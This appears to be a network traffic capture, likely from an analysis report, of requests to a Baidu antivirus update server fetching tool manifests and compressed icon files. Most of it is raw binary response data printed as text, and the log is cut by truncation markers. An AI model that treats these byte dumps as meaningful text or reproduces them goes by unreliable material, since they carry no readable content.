Last-Modified: Fri, 01 May 2015 14:56:33 GMT

Age: 682840

Content-Range: bytes 0-3704/3705

Accept-Ranges: bytes

Ohc-Content-Crc: 163201264

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'...g...........T........;.;.D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q.....n.[..}
...K..;i....xt.....3...u...`....n.c.6.%>....3..x....4.....sl...v..J
.[./.p.L.....)*.......{../&...... .......t..$.>..S..U.....t.....*.h
T..  ..A.......xc.S......O:...U....M.k..@.cS4..a..z.J..%../.@..s.1V...
W\.....j..w../9..c0K.<U9x.K..fc:....."^#.7.... .7.3......J....._.l.
!....\F.hh..!*.9..S....{f.J=........d.K...W....?.5.U..7.<.....o../.
?.....52.m|C......1gV...........gM.B.&.....*.P..A..$..n..._...0~..o./?
)......#....0..)..=.b<.[...s...sw..oy.....0.x...fu..B>h.......lB
.i.Z2....j<P(..Z.......a1..M(....5.9.A.2V.3...J.........\..\....9Q.
.7Qz...kqo...9 `NkZ.t.E.j...u.F% ...x..j....K..H..=J..S4..i..<..p..
yI....&......M.H....OY$..y..:....O...:M.f. M. .D.....&.........".....o
...&...K..1..1.. .v......v.z\5y...Y....!.]w...JY..r$2....G...s........
.k.uX.................\.........C...........Y..%u.1..........D..y.....
%z..S.4.^J._.>.p.n8L......]......D".....u....7......v=...D.y.......
k{..{P........^....R....gr.c~..6e..K..Y`..4....&c..]8.(...h4B@v.I.;. .
.9{6........(...e.Q..`.X...E...Y..-.-P.za5bq..}..s..@...S@m.#.....R...
d?.Fc.hIl.v#2#q.X...b.......n.]en......7qa...5....._wy...,tz1.C.-.<<< skipped >>>

GET /baidu_tool/3811A2B3-20AF-486d-81FA-8774762CC135/1.0.1.1/ToolSummary/icon2G.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:20 GMT

Content-Type: image/png

Content-Length: 2436

Connection: keep-alive

ETag: "4c360a0-984-515066b048a40"

Last-Modified: Fri, 01 May 2015 14:56:33 GMT

Age: 672191

Content-Range: bytes 0-2435/2436

Accept-Ranges: bytes

Ohc-Content-Crc: 802073320

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'.....n^........V.......m>B..D...z'.....P.....P ... .i...L.ZA..
..(.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk
&n.......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f..
.H)..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq...
....S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]
1Y..H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q..=-?.1.
.3......!....(..........].WJ. ....f.I.u....6),....wf.?..f.J.......2..,
.,.R....w4;.....m.C..,l.q..c.'....=$#...gG......$....W%.w.Q*9......m..
.D.g.A.W.w..{<..OMi....^.).......~.l....{.v[b..}.05l(x..q.....W.H..
K<...._..c......)...rX. ..X......bR../;..s....."G(..Yi.".#P#.......
.J.....P...62.....l...P.u....u.G.T.....LT...3.L$.....WVt...,.....-.!.'
.@.Ic..w......_..P... .....C.L.{........0....i!J......./a....iH.....*.
.e;......).:....2LA]~... ..k.De .o..E.{y]... ......#t1......... n.W.F.
.G,.`.d..J(.iy.2.(t...i...TQ^6p..&=..Te.#.w.._6G.......A....]....nNr..
7|..I...C[....N....p ..#c..!.....h2..V...k..J......h..........QC..n.6.
..Z.y_..Xd".r...N."..6@.y.......(ArZIs...;...v@....Q...*...K~o....6...
.S..K<..%...W...R..e.........4......Ff;)L8.b.....*.......Y........[
.|n..Ig...#...?x....s..9.s.y...pr.....'..&C.*.....>E^*......W...u..
ac>B.uQ..?.#.o.v.j.U....Q.........b.p....,.D6.....Ie/.\.f.........?
...g....zd.@...`.....kJ..i.j.S...N...u?.!_...Se......z} .^v.....rB....
........iO.l-8..}..*P.......[..O.V..!k.....G}...1...OX...v...'.."r.AB&
..y.GyJ.zgQ.j........I...<...N..6a.%W|...9].{f..<.&S. ..M...<<< skipped >>>

GET /baidu_tool/3811A2B3-20AF-486d-81FA-8774762CC135/1.0.1.1/ToolSummary/icon2N.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:20 GMT

Content-Type: image/png

Content-Length: 3424

Connection: keep-alive

ETag: "4c360a2-d60-515066b048a40"

Last-Modified: Fri, 01 May 2015 14:56:33 GMT

Age: 665920

Content-Range: bytes 0-3423/3424

Accept-Ranges: bytes

Ohc-Content-Crc: 2976805230

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'...p..e........V.......#....D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q..=-?.1..3.
.....!....(..........].WJ. .....6...Q]...O......*G..*..5............,v
.%..^................j%.~....l.M....$n..3.}.T...@..m......).........i.
. ...c...p.....L...Id;h.=....z[....;e......S(.......N.vq[,......w. ...
..u\...V...n....g.>e.:1....,2.........q.......b.O....t..Y..L...J...
=m.G....B.p.J.8.......;.t..X%r.....zU...._bc.../.....O...".L..N...-...
Z.%.u..k.}.'U.....  ..........]..a...uH6.... ..IXJ(c.....Z.....[_..`j.
. S..p....).X]... ..Vt8..KYV.o.....b..i(.O{...xP.M......4.KeSR0.4-....
<ywP;:7.l.j.._....7.v.m.sL.v.<o..d....\. h...:{.......3...OD.]b.
..5f....F^.....a?.I.........).....&...mM...aQ....W....E.............).
..[._...Y...8...F.t.c$.:.9.@...*..{...^...5......U.,././..X......|.Ta.
..[L...Khe......\...... .*n..zwe...H...u{..o.....Z...N....E D........e
..j.^......;.s./.ljQ......v0.Z...|N....T...M~.m......^a...f.#....d..a.
..S...G.Y/..|..D.Ic.......p...u.......h.z.M7y"....Zrp.M.t..... ..:...~
._..3...g2$%....L.x.Q......J......F....JS.H......0.G4|...].....i}.Q*1.
1...i5..0G..5..6..>.2.{O..V>=.v\..^.6..~.......q..G.I....z .Y.wf
~m=..lQ.........S.Y:../.9VI............G......Y.(...sr.2.0........<<< skipped >>>

GET /baidu_tool/5DB281C3-B655-656A-01B6-E302199E376A/1.0.1.1/ToolFileList.xml HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:21 GMT

Content-Type: application/xml

Content-Length: 1400

Connection: keep-alive

ETag: "dbfc5be-578-515066b230ec0"

Last-Modified: Fri, 01 May 2015 14:56:35 GMT

Age: 656262

Content-Range: bytes 0-1399/1400

Accept-Ranges: bytes

Ohc-Content-Crc: 2130286473

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
...<?xml version="1.0" encoding="UTF-8"?>..<ToolFileList>.
.<SelfCheck Size="0x00000578" Md5="0x3F79CC9E66B630F192F6F1C2DB0A5C
64" />..<ToolInstall>..<File Name="5DB281C3-B655-656A-01B6
-E302199E376A.zip" Size="0x001fbec6" Time="0x01d01f615e0686b9" Md5="0x
cfead4641e926b0f9fa00b8bdbfa22db" />..</ToolInstall>..<Too
lSummary>..<File Name="detail.xml.7z" Size="0x00000488" Time="0x
01d01f6161cccf35" Md5="0xb28e16fdfc653b16d209c1382800a922" DcSize="0x0
0000950" DcTime="0x01d019f23bf2d14a" DcMd5="0x4be0ff34f754be73e3777290
7961d780" />..<File Name="gray_icon.png.7z" Size="0x000005a2" Ti
me="0x01d01f6161d35f10" Md5="0x599ceee216ff6e15089d755af930b48b" DcSiz
e="0x000006aa" DcTime="0x01cfaa69774f4db6" DcMd5="0x61c83c62c27d04d446
d5d3ef52a34348" />..<File Name="gray_icon2.png.7z" Size="0x00000
4fd" Time="0x01d01f6161d77ddb" Md5="0xd055fafeaaf01f6714d664e7c258685c
" DcSize="0x00000601" DcTime="0x01cfaa69774f4db6" DcMd5="0xdbffae94c9c
eb0b484ceeccb639a4177" />..<File Name="icon.png.7z" Size="0x0000
0cb1" Time="0x01d01f6161dbeac8" Md5="0x1402803f498b82f7e41b7639977886d
5" DcSize="0x00000dae" DcTime="0x01d0141dce47574e" DcMd5="0x7725388868
06cc5815dbdbfb77c1e306" />..<File Name="icon2.png.7z" Size="0x00
000cb3" Time="0x01d01f6161e11b0a" Md5="0x928119066c20ebfb56842f725acd5
56d" DcSize="0x00000dae" DcTime="0x01d00aab236efc12" DcMd5="0x77253888
6806cc5815dbdbfb77c1e306" />..</ToolSummary>..</ToolFileLi
st>....
<<< skipped >>>

GET /baidu_tool/5DB281C3-B655-656A-01B6-E302199E376A/1.0.1.1/ToolSummary/detail.xml.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:21 GMT

Content-Type: application/xml

Content-Length: 1160

Connection: keep-alive

ETag: "dbfc5c3-488-515066b230ec0"

Last-Modified: Fri, 01 May 2015 14:56:35 GMT

Age: 682831

Content-Range: bytes 0-1159/1160

Accept-Ranges: bytes

Ohc-Content-Crc: 491686887

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'....D..........V............w........3.a`.....f.v.N.....4..IKY..p
6......d......j\...: /.9.2...Qx#....@.4..*.....E..^ ...'.B..0=...|.Wv4
'X.;xU .....i..u......q..!.e...g....v..x.2...... .q0_...-.S.-gaZ......
J$..h..X...X...Z....b*...V......g...-.Q...........y..6ob@9P..M...]..|.
.G>.Lw.g.R...7..t%~.....\...w*.CHz..-k...I..2vn@{...50......g.I..Bz
..@-a^...........%........Q..Mf.I...Y.P.....m_.7..c...o.@/.......>.
.Y...."..)"..P.i].{.\.....r.?.@M..7)..87.>*...........|.D.8..K....~
...XQ.zc..%W`.......qx...........B.....*.w..8...U5.7.'......\x....rht.
h._....K..c..c..h...._.J|{.O.. d..Z.Ox.x..#.&5..)*.....:.Bs....w......
....0G...T.d1.:. .....h.}.E..I C..../.3.C.(..o....V.d!..H.......6....n
.....-..&7:-r[.Hl_.z..6.y.y0Z.jId...J{.".o.0.......$>"..}B..W2../..
...3......9...S^<..x|z,^$........1".t?.l&..Q['.4....8`F..(......hP'
o.....W.E.aoxb.(.8...N...5$..,....j..U.`.s'..&...-....8.c.B.l.L.._Q..f
:U..%.'...zq..f.....C>...{...Dq..........8Ic^0..,..O......e.O....,.
V.Z.....M...58.s.#....g..St-bq....s..........E... ....b..$..29....S..#
j...9]7....H.6...9..Jn...8....L.9W..S.(.r...............#....]......P.
...k..........d.e.t.a.i.l...x.m.l.......J..;........ .........
<<< skipped >>>

GET /baidu_tool/5DB281C3-B655-656A-01B6-E302199E376A/1.0.1.1/ToolSummary/gray_icon.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:22 GMT

Content-Type: image/png

Content-Length: 1442

Connection: keep-alive

ETag: "4c3c023-5a2-515066b230ec0"

Last-Modified: Fri, 01 May 2015 14:56:35 GMT

Age: 671747

Content-Range: bytes 0-1441/1442

Accept-Ranges: bytes

Ohc-Content-Crc: 2225056075

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'...c]..&.......\.......A./..D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6.....,..6.z..U{_..Iw.....[_.1.$x..9...q.....Uq.z.......v
.M.t..r.3.H....K..H]......%.8r.. .....n ......8O....]..L........>^.
~..{}.BX..=.y..WF..d.'Q..z.Z.....2..A`'.2...X%..^..X.Br.M .b....kp.{.?
..S..n@.(L#..j....N.....s..V.KT....MZ..z..4..F.X.....U{..o..E..j}.Y.j.
.E......?-*....>4.;D>R^....3..r.0."<D.L..Z.....v.<D.9...).
]...c6.v..... .F...DksF......xI%P.'\.X.Y.....-F.......E1A....A..K.....
...5..h'...:.t....G...t...Xfe{.u..~h.{.]....a.L......gW......[.U...2.,
...KZ).2........dpb....,......E#...d...s..H.Jn/M.x...8...{......YVP5D.
N-.[q...`.9..{.::.."...k _.H.s.k....$......Bv...S.v_..$cp..S........#R
..=..u..6.....4....kU...D.Xa..M1=Cm..S....r.ia..(......,N....JXM.....D
/5..b......,<7.2.!.4....V....7....{...`..q.GV.{W_..1..h....^c...uw.
n...~.9.a...oJ.g.8"=rf......c7..3i= ]/....hz.Q.S.rmh.#.U`. ......&....
......TO`/....%kY..Y....pz.....h.O..a...fv..u(...M.x .e..!..V),;..:vV.
2...Jr$op...t.`_Z.d..... c....}.E .N.xh.....X.|;N.-7cX.*.c....)?..M...
...|.gnf....,=I.....D.....3..w...M...e..E.z..=l.;4.!2......u....:.=...
.f#...h.P.5p......P.w......i...$.o_ ........"O.Y.y'...w......%..A(M ..
...z.".....w#..l....m'i6..K. 2.a.LV..7_(........&......#....].........
.............g.r.a.y._.i.c.o.n...p.n.g........MOwi....... .....
....
<<< skipped >>>

GET /baidu_tool/5DB281C3-B655-656A-01B6-E302199E376A/1.0.1.1/ToolSummary/gray_icon2.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:22 GMT

Content-Type: image/png

Content-Length: 1277

Connection: keep-alive

ETag: "dbfc5c7-4fd-515066b230ec0"

Last-Modified: Fri, 01 May 2015 14:56:35 GMT

Age: 671747

Content-Range: bytes 0-1276/1277

Accept-Ranges: bytes

Ohc-Content-Crc: 4097700651

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'....\MK........^.......2....D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q..M:....{..
E..... ...........d.f.........T..N.P.!.~r.~......`I...t.".V..v.....C.G
..2.|.1.l@Rk6..e...~.;..Zh...s)....sG..... .!....K.T.X..].y=...;......
...61..?x.P]...q..t.jP...7.9...x7...Fc.>.....*by$.....1UK2.vTO..v&g
t;H........g....6..@*\.=..X.6..........yT...}...'.j.p..B?..)M.a......c
..Pu.....J.....k.=....5.c7GM..R.S......C....uu....u.r.J8...$.6Tp.}....
 .'*p. ....$..L./....0.Ni.....}.`t.{R|:~.=.....'.<4xh>.`).....Q.
V...~.YpU.'.....YlF!.......f{..x....C......-.P..W..L.[._...N...~A.b...
.d.......t...nt...$U......wY.A....o.R3g4D.....Y%.6...Z..W....M.j.8..B$
.E. ...L..C.2...;.{=..lS...Mr2A.5.W.Y-..J^S...9\.k..b..:.c...p.L.....,
7...F...]\x.%N,...^..*f.............~..@.b.w..E........V.X%.IO.s.|!X9.
...w|g...x.$../......A<tAo.C..........*.K.*).0.or...w~EJ..@w@.5.:r.
....P.V7...X................#....]...........5.P>.......g.r.a.y._.i
.c.o.n.2...p.n.g........MOwi....... .........
<<< skipped >>>

GET /baidu_tool/5DB281C3-B655-656A-01B6-E302199E376A/1.0.1.1/ToolSummary/icon.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:22 GMT

Content-Type: image/png

Content-Length: 3249

Connection: keep-alive

ETag: "4c3c027-cb1-515066b230ec0"

Last-Modified: Fri, 01 May 2015 14:56:35 GMT

Age: 671746

Content-Range: bytes 0-3248/3249

Accept-Ranges: bytes

Ohc-Content-Crc: 433336308

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'....Rf.?.......R.........N..D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q.....n.[..}
...K..;i....xt.....3...uN.zv.c=.a.Qz...a...C.*1U........f;,...*=....L.
....R?..gH%..KX...O......9)1E\......[..{.G.7&.Q.d....4....Q..* 0.j.f..
...jY...........p.Fz.(..."..4....v. ...Ny.K.g..a....D.Z4..0...0...c. .
.....bf......I.2....U....{.m..V.....#....B.........Q^.i...Iy....c3...u
$]..bh.[c.../h)6...K87..6...9.y...,.E.3.........t..x...=c.*. ..,.[....
..O.A..3..(`...#.s...[...c.....h..hJ{....D.... ...Tr... 4..."~cO....I.
Ikw.Th.8.qs...N....lO.......CJ..<Z7<We.I..5W..p./..........JBP.P
?...=..|.WH..G......Zf.....;.$b..........N..}|....MV....EmH.........."
.k..s...YpP..T.....8....Z..,..yO..".R.V.{d.m.DA.4.9...Y.gN.I=...xk....
..f.zf.r...P......M....8..U# z...y.......7 {./N./.{.Kh/.P)..{.V>./.
=....1.^.'.6...7B...N.5.(M....`........VC.\7Np....c~~.l.....4....dbyf.
....\..0.L.4.?G...........%.\...w]...E...>.;.x.?.....`.N....30.[].d
#.. Z...~7X...'...Ng.FQm...{>......#.3(..._.....^>e.....p..u...B
1.7>W..d..,U.O....V.}.oc;..q..?x..Z...C...Z...^...N...7.C.b.Z......
.`.........n9.......j....b.A..p.ZZ.c.K.Xp.uRA......J...9.P.YE=.3Z.....
..6..;3..aV.u..........".{z.&o%..h..l7..2.....x..VH7....g.(..@8H.y<<< skipped >>>

GET /baidu_tool/5DB281C3-B655-656A-01B6-E302199E376A/1.0.1.1/ToolSummary/icon2.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:23 GMT

Content-Type: image/png

Content-Length: 3251

Connection: keep-alive

ETag: "dbfc5cb-cb3-515066b230ec0"

Last-Modified: Fri, 01 May 2015 14:56:35 GMT

Age: 671747

Content-Range: bytes 0-3250/3251

Accept-Ranges: bytes

Ohc-Content-Crc: 771199182

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'.......?.......T........Kpk.D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q.....n.[..}
...K..;i....xt.....3...uN.zv.c=.a.Qz...a...C.*1U........f;,...*=....L.
....R?..gH%..KX...O......9)1E\......[..{.G.7&.Q.d....4....Q..* 0.j.f..
...jY...........p.Fz.(..."..4....v. ...Ny.K.g..a....D.Z4..0...0...c. .
.....bf......I.2....U....{.m..V.....#....B.........Q^.i...Iy....c3...u
$]..bh.[c.../h)6...K87..6...9.y...,.E.3.........t..x...=c.*. ..,.[....
..O.A..3..(`...#.s...[...c.....h..hJ{....D.... ...Tr... 4..."~cO....I.
Ikw.Th.8.qs...N....lO.......CJ..<Z7<We.I..5W..p./..........JBP.P
?...=..|.WH..G......Zf.....;.$b..........N..}|....MV....EmH.........."
.k..s...YpP..T.....8....Z..,..yO..".R.V.{d.m.DA.4.9...Y.gN.I=...xk....
..f.zf.r...P......M....8..U# z...y.......7 {./N./.{.Kh/.P)..{.V>./.
=....1.^.'.6...7B...N.5.(M....`........VC.\7Np....c~~.l.....4....dbyf.
....\..0.L.4.?G...........%.\...w]...E...>.;.x.?.....`.N....30.[].d
#.. Z...~7X...'...Ng.FQm...{>......#.3(..._.....^>e.....p..u...B
1.7>W..d..,U.O....V.}.oc;..q..?x..Z...C...Z...^...N...7.C.b.Z......
.`.........n9.......j....b.A..p.ZZ.c.K.Xp.uRA......J...9.P.YE=.3Z.....
..6..;3..aV.u..........".{z.&o%..h..l7..2.....x..VH7....g.(..@8H.y<<< skipped >>>

GET /baidu_tool/23A88272-3BEB-64D1-7DFB-470FD51F9BBA/1.0.1.1/ToolFileList.xml HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:23 GMT

Content-Type: application/xml

Content-Length: 1400

Connection: keep-alive

ETag: "dbfc6d6-578-515066b325100"

Last-Modified: Fri, 01 May 2015 14:56:36 GMT

Age: 680487

Content-Range: bytes 0-1399/1400

Accept-Ranges: bytes

Ohc-Content-Crc: 1890904559

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
...<?xml version="1.0" encoding="UTF-8"?>..<ToolFileList>.
.<SelfCheck Size="0x00000578" Md5="0xD96103E1C1B0123401AF727C7CD988
2D" />..<ToolInstall>..<File Name="23A88272-3BEB-64D1-7DFB
-470FD51F9BBA.zip" Size="0x001ccd26" Time="0x01d01f615d60cc9b" Md5="0x
105474564e42c74f48016ad69fddc7d0" />..</ToolInstall>..<Too
lSummary>..<File Name="detail.xml.7z" Size="0x00000382" Time="0x
01d01f61611476fd" Md5="0x2f3da47c594fcb18ec0baf2d144388c0" DcSize="0x0
00007c6" DcTime="0x01d01b53e8bd5c3a" DcMd5="0x7a3baf91be7d4351055732c5
af203294" />..<File Name="gray_icon.png.7z" Size="0x000005a2" Ti
me="0x01d01f61611efe92" Md5="0xdc9ba34a8582cd0305436cb2199f5186" DcSiz
e="0x000006aa" DcTime="0x01cfd2296bbc647e" DcMd5="0x61c83c62c27d04d446
d5d3ef52a34348" />..<File Name="gray_icon2.png.7z" Size="0x00000
4fd" Time="0x01d01f616125404b" Md5="0xc468704e0d5f49e6db5048a2e0d40764
" DcSize="0x00000601" DcTime="0x01cfd2296bbc647e" DcMd5="0xdbffae94c9c
eb0b484ceeccb639a4177" />..<File Name="icon.png.7z" Size="0x0000
07ce" Time="0x01d01f61612a497c" Md5="0xad9d6371f0e52f74cf629ecffb0c31e
f" DcSize="0x000008d5" DcTime="0x01d0141dce47574e" DcMd5="0x1a67414cef
6b5a8f946cb0529b89a7aa" />..<File Name="icon2.png.7z" Size="0x00
0007d0" Time="0x01d01f616148f5d5" Md5="0xf603946b1627430e9a6e2652f900a
cd0" DcSize="0x000008d5" DcTime="0x01cfd8944e76ff7a" DcMd5="0x1a67414c
ef6b5a8f946cb0529b89a7aa" />..</ToolSummary>..</ToolFileLi
st>....
<<< skipped >>>

GET /baidu_tool/23A88272-3BEB-64D1-7DFB-470FD51F9BBA/1.0.1.1/ToolSummary/detail.xml.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:24 GMT

Content-Type: application/xml

Content-Length: 898

Connection: keep-alive

ETag: "4c3e060-382-515066b325100"

Last-Modified: Fri, 01 May 2015 14:56:36 GMT

Age: 682832

Content-Range: bytes 0-897/898

Accept-Ranges: bytes

Ohc-Content-Crc: 279408666

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'......P........V.........4..w........3.a`.....f.v.N.....4..IKY..p
6......d......j\...: /.9.2...Qx#....@.4..*.....E..^ ...'.B..0=...|.Wv4
'X.;xU ..Hr.7..K....{...<".@.V...C0m..>Y@>..$-...[%c"...B...W
M8:.....b$.[7...I#>CxlB.M.I...v.`.b ...}..8..P..[...z..&..B..\i.J..
..?KW.ya.$.{5.e..x.H[d.K.*. ...N..-..*.I.....V..P..C..=)..._..Bp3u:[d2
.-[...37.h.Y:...aur.w..b.V.>...}D.......6Gk.3w.t.e..\.[.=E...!.o...
.X.X."L........=...).....z....l..Hk...R..h.....g..gS<..evEI..S.[=..
.w...gt.{.......1..aj..."O.G..q/.:<........'.^.j..r4.y..R"\r..;.2?.
.....ud7j......1~........uqJ..;..].sd......P..$-.w......KD-.L>.bN..
.qY}...^ei .y..i.)(.P..<r...... &g.c.<-.q.j....&.L.!.of{|...;e(.
..u..j......DMog).N- ...',.:.........~..?.....V>....J..Z#.ZD.......
w$.x .,.(.L.PK...{].7....?.........&....O......q...p.*..b...Df.....r.j
]'.t...............#....]...........o..'.......d.e.t.a.i.l...x.m.l....
...:\..S....... .........


GET /baidu_tool/23A88272-3BEB-64D1-7DFB-470FD51F9BBA/1.0.1.1/ToolSummary/gray_icon.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:24 GMT

Content-Type: image/png

Content-Length: 1442

Connection: keep-alive

ETag: "4c3e062-5a2-515066b325100"

Last-Modified: Fri, 01 May 2015 14:56:36 GMT

Age: 671747

Content-Range: bytes 0-1441/1442

Accept-Ranges: bytes

Ohc-Content-Crc: 495904254

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'...e:.2&.......\.......'....D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6.....,..6.z..U{_..Iw.....[_.1.$x..9...q.....Uq.z.......v
.M.t..r.3.H....K..H]......%.8r.. .....n ......8O....]..L........>^.
~..{}.BX..=.y..WF..d.'Q..z.Z.....2..A`'.2...X%..^..X.Br.M .b....kp.{.?
..S..n@.(L#..j....N.....s..V.KT....MZ..z..4..F.X.....U{..o..E..j}.Y.j.
.E......?-*....>4.;D>R^....3..r.0."<D.L..Z.....v.<D.9...).
]...c6.v..... .F...DksF......xI%P.'\.X.Y.....-F.......E1A....A..K.....
...5..h'...:.t....G...t...Xfe{.u..~h.{.]....a.L......gW......[.U...2.,
...KZ).2........dpb....,......E#...d...s..H.Jn/M.x...8...{......YVP5D.
N-.[q...`.9..{.::.."...k _.H.s.k....$......Bv...S.v_..$cp..S........#R
..=..u..6.....4....kU...D.Xa..M1=Cm..S....r.ia..(......,N....JXM.....D
/5..b......,<7.2.!.4....V....7....{...`..q.GV.{W_..1..h....^c...uw.
n...~.9.a...oJ.g.8"=rf......c7..3i= ]/....hz.Q.S.rmh.#.U`. ......&....
......TO`/....%kY..Y....pz.....h.O..a...fv..u(...M.x .e..!..V),;..:vV.
2...Jr$op...t.`_Z.d..... c....}.E .N.xh.....X.|;N.-7cX.*.c....)?..M...
...|.gnf....,=I.....D.....3..w...M...e..E.z..=l.;4.!2......u....:.=...
.f#...h.P.5p......P.w......i...$.o_ ........"O.Y.y'...w......%..A(M ..
...z.".....w#..l....m'i6..K. 2.a.LV..7_(........&......#....].........
.............g.r.a.y._.i.c.o.n...p.n.g.......~d.k)....... .....
....
<<< skipped >>>

GET /baidu_tool/23A88272-3BEB-64D1-7DFB-470FD51F9BBA/1.0.1.1/ToolSummary/gray_icon2.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


